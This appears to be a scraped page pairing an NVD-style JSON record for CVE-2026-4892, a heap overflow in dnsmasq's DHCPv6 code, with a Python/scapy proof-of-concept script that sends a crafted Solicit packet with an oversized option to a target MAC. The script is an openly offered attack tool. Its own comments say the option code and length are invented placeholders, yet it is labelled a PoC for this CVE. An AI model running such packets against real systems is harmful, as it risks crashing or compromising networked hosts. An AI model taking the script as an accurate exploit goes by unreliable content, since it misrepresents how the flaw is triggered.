CVE-2026-4892

/* * PoC for CVE-2026-4892 (Heap OOB Write in dnsmasq DHCPv6) * This script demonstrates how to send a crafted DHCPv6 packet. * Requires scapy: pip install scapy */ from scapy.all import * import sys def send_malicious_dhcpv6(target_mac, interface): # Construct Ethernet header eth = Ether(dst=target_mac) # Construct IPv6 header (Link-local address) ipv6 = IPv6(src="fe80::1", dst="ff02::1:2") # Construct UDP header (DHCPv6 uses port 547 for server, 546 for client) udp = UDP(sport=546, dport=547) # DHCPv6 Solicit Message dhcpv6 = DHCP6_Solicit(trid=12345) # Add a crafted option to trigger the heap overflow # The specific option code and length depend on the vulnerability root cause analysis # Here we simulate an option with excessive length or malformed data # Option Code: 9999 (Example), Length: 2000 (Excessive) malicious_data = b"A" * 2000 crafted_option = DHCP6OptUnknown(optcode=9999, optlen=len(malicious_data), optdata=malicious_data) dhcpv6 = dhcpv6 / crafted_option # Assemble packet packet = eth / ipv6 / udp / dhcpv6 print(f"[*] Sending malicious packet to {target_mac} on {interface}...") # Send packet sendp(packet, iface=interface, verbose=1) if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 poc.py <target_mac> <interface>") print("Example: python3 poc.py 00:11:22:33:44:55 eth0") sys.exit(1) target_mac = sys.argv[1] interface = sys.argv[2] send_malicious_dhcpv6(target_mac, interface)

{"cve": {"id": "CVE-2026-4892", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:41.483", "lastModified": "2026-05-12T14:15:46.747", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based out-of-bounds write vulnerability in the DHCPv6 implementation of dnsmasq allows local attackers to execute arbitrary code with root privileges via a crafted DHCPv6 packet."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "references": [{"url": "https://github.com/NixOS/nixpkgs/pull/519082", "source": "[email protected]"}, {"url": "https://github.com/NixOS/nixpkgs/pull/519093", "source": "[email protected]"}, {"url": "https://github.com/pi-hole/FTL/releases/tag/v6.6.2", "source": "[email protected]"}, {"url": "https://lists.thekelleys.org.uk/pipermail/dnsmasq-discuss/2026q2/018471.html", "source": "[email protected]"}, {"url": "https://thekelleys.org.uk/dnsmasq/CVE/", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/471747", "source": "[email protected]"}]}}